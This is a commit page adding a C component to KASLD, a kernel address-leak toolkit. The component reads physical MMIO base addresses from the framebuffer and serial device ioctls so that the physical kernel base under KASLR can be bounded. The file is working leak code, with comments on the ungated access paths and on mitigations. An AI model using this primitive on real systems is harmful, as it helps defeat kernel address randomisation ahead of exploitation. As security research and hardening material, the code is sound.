Skip to content

Commit 05fee5a

Browse files
committed
components: leak physical MMIO bases via fb/serial ioctls
FBIOGET_FSCREENINFO (smem_start/mmio_start) and TIOCGSERIAL (iomem_base = mapbase) return raw physical MMIO bases; both GET paths are ungated (no capability or kptr_restrict check), needing only device-node access (video/dialout group). Emit them as REGION_MMIO phys windows, which mmio_floor_phys_ceiling uses to ceiling the physical kernel base — a fallback for /proc/iomem when masked and for platform (non-PCI) devices that sysfs PCI resources miss.
1 parent 40c4005 commit 05fee5a

1 file changed

Lines changed: 140 additions & 0 deletions

File tree

src/components/ioctl_mmio_phys.c

Lines changed: 140 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,140 @@
1+
// This file is part of KASLD - https://github.com/bcoles/kasld
2+
//
3+
// Read physical MMIO base addresses from framebuffer and serial device ioctls.
4+
// A fallback for /proc/iomem (CAP_SYS_ADMIN-masked) and sysfs PCI resources
5+
// (PCI-only): framebuffer and on-chip serial are typically *platform* devices,
6+
// whose MMIO windows neither source exposes.
7+
//
8+
// /dev/fb* FBIOGET_FSCREENINFO -> struct fb_fix_screeninfo
9+
// .smem_start physical frame-buffer base (+ .smem_len)
10+
// .mmio_start device MMIO register base (+ .mmio_len)
11+
// /dev/ttyS*, /dev/ttyAMA*
12+
// TIOCGSERIAL -> struct serial_struct
13+
// .iomem_base = uport->mapbase, the UART's physical MMIO base
14+
// (0 for legacy port-I/O 8250 — x86 COM ports)
15+
//
16+
// Both GET paths copy the raw physical address (not %p-hashed, no
17+
// kptr_restrict) and are *ungated*: fbmem.c's FBIOGET_FSCREENINFO has no
18+
// capability check, and serial_core.c's uart_get_info() gates only the SET
19+
// path, not the GET. The only barrier is opening the device node (video /
20+
// dialout group, or root).
21+
//
22+
// Leak primitive:
23+
// Data leaked: physical MMIO base addresses (framebuffer / UART)
24+
// Kernel subsystem: drivers/video/fbdev (FBIOGET_FSCREENINFO),
25+
// drivers/tty/serial (TIOCGSERIAL / uart_get_info)
26+
// Address type: physical (MMIO)
27+
// Method: parsed (device ioctl)
28+
// Status: unfixed (information exposure by design)
29+
// Access check: none beyond device-node permissions (no CAP / kptr gate)
30+
//
31+
// Engine fit: emitted as REGION_MMIO PHYS windows (range when a length is
32+
// known, else a base), which mmio_floor_phys_ceiling uses to ceiling
33+
// Q_PHYS_TEXT_BASE (the image must sit in DRAM below the lowest MMIO above it).
34+
// Decoupled arches only; loose, and additive mainly when /proc/iomem is masked.
35+
//
36+
// Mitigations:
37+
// CONFIG_FB=n / CONFIG_SERIAL_CORE=n remove the respective source; tightening
38+
// device-node group permissions removes the access. No runtime sysctl gate.
39+
// ---
40+
// <bcoles@gmail.com>
41+
42+
#define _GNU_SOURCE
43+
#include "include/kasld/api.h"
44+
#include "include/kasld/cli.h"
45+
46+
#include <fcntl.h>
47+
#include <linux/fb.h>
48+
#include <linux/serial.h>
49+
#include <stdint.h>
50+
#include <stdio.h>
51+
#include <string.h>
52+
#include <sys/ioctl.h>
53+
#include <unistd.h>
54+
55+
KASLD_EXPLAIN(
56+
"Queries framebuffer (FBIOGET_FSCREENINFO -> smem_start/mmio_start) and "
57+
"serial (TIOCGSERIAL -> iomem_base) device ioctls for physical MMIO base "
58+
"addresses. Both GET paths are ungated (no capability or kptr_restrict "
59+
"check); access needs only the device node (video/dialout group). MMIO "
60+
"bases ceiling the physical kernel base on decoupled arches — a fallback "
61+
"for when /proc/iomem is masked and for platform (non-PCI) devices.");
62+
63+
KASLD_META("method:parsed\n"
64+
"phase:inference\n"
65+
"addr:physical\n");
66+
67+
/* Emit one MMIO window as a PHYS landmark: a range when a length is known, else
68+
* a base (lo edge). Both set HAS_LO, which mmio_floor_phys_ceiling consumes.
69+
* Returns 1 if emitted, 0 for a zero (absent) base. */
70+
static int emit_mmio(unsigned long start, unsigned long len, const char *name) {
71+
unsigned long hi;
72+
if (!start)
73+
return 0;
74+
if (len && !kasld_add_ovf(start, len - 1, &hi))
75+
kasld_result_range(KASLD_TYPE_PHYS, REGION_MMIO, start, hi, name,
76+
CONF_PARSED);
77+
else
78+
kasld_result_base(KASLD_TYPE_PHYS, REGION_MMIO, start, name, CONF_PARSED);
79+
return 1;
80+
}
81+
82+
/* FBIOGET_FSCREENINFO returns fb_fix_screeninfo with the physical frame-buffer
83+
* (smem_start) and device-MMIO (mmio_start) bases. */
84+
static int scan_framebuffers(void) {
85+
int found = 0;
86+
for (int i = 0; i < 8; i++) {
87+
char dev[32];
88+
snprintf(dev, sizeof(dev), "/dev/fb%d", i);
89+
int fd = kasld_open(dev, O_RDONLY | O_NONBLOCK | O_NOCTTY);
90+
if (fd < 0)
91+
continue;
92+
struct fb_fix_screeninfo fix;
93+
memset(&fix, 0, sizeof(fix));
94+
if (ioctl(fd, FBIOGET_FSCREENINFO, &fix) == 0) {
95+
found += emit_mmio(fix.smem_start, fix.smem_len, "framebuffer");
96+
found += emit_mmio(fix.mmio_start, fix.mmio_len, "fb_mmio");
97+
}
98+
close(fd);
99+
}
100+
return found;
101+
}
102+
103+
/* TIOCGSERIAL returns serial_struct.iomem_base = uport->mapbase, the physical
104+
* MMIO base of an MMIO-mapped UART (0 for legacy port-I/O 8250). */
105+
static int scan_serial(void) {
106+
static const char *const fmts[] = {"/dev/ttyS%d", "/dev/ttyAMA%d", NULL};
107+
int found = 0;
108+
for (int t = 0; fmts[t]; t++) {
109+
for (int i = 0; i < 4; i++) {
110+
char dev[32];
111+
snprintf(dev, sizeof(dev), fmts[t], i);
112+
int fd = kasld_open(dev, O_RDONLY | O_NONBLOCK | O_NOCTTY);
113+
if (fd < 0)
114+
continue;
115+
struct serial_struct ss;
116+
memset(&ss, 0, sizeof(ss));
117+
if (ioctl(fd, TIOCGSERIAL, &ss) == 0)
118+
found += emit_mmio((unsigned long)(uintptr_t)ss.iomem_base, 0,
119+
"serial_mmio");
120+
close(fd);
121+
}
122+
}
123+
return found;
124+
}
125+
126+
int main(int argc, char **argv) {
127+
kasld_cli(argc, argv);
128+
129+
kasld_info(
130+
"querying framebuffer / serial ioctls for physical MMIO bases ...");
131+
int found = scan_framebuffers() + scan_serial();
132+
133+
if (!found) {
134+
kasld_err("no MMIO bases from fb/serial ioctls "
135+
"(no accessible device, or port-I/O only)");
136+
return 0;
137+
}
138+
kasld_found("leaked %d physical MMIO base(s) via device ioctls", found);
139+
return 0;
140+
}

0 commit comments

Comments
 (0)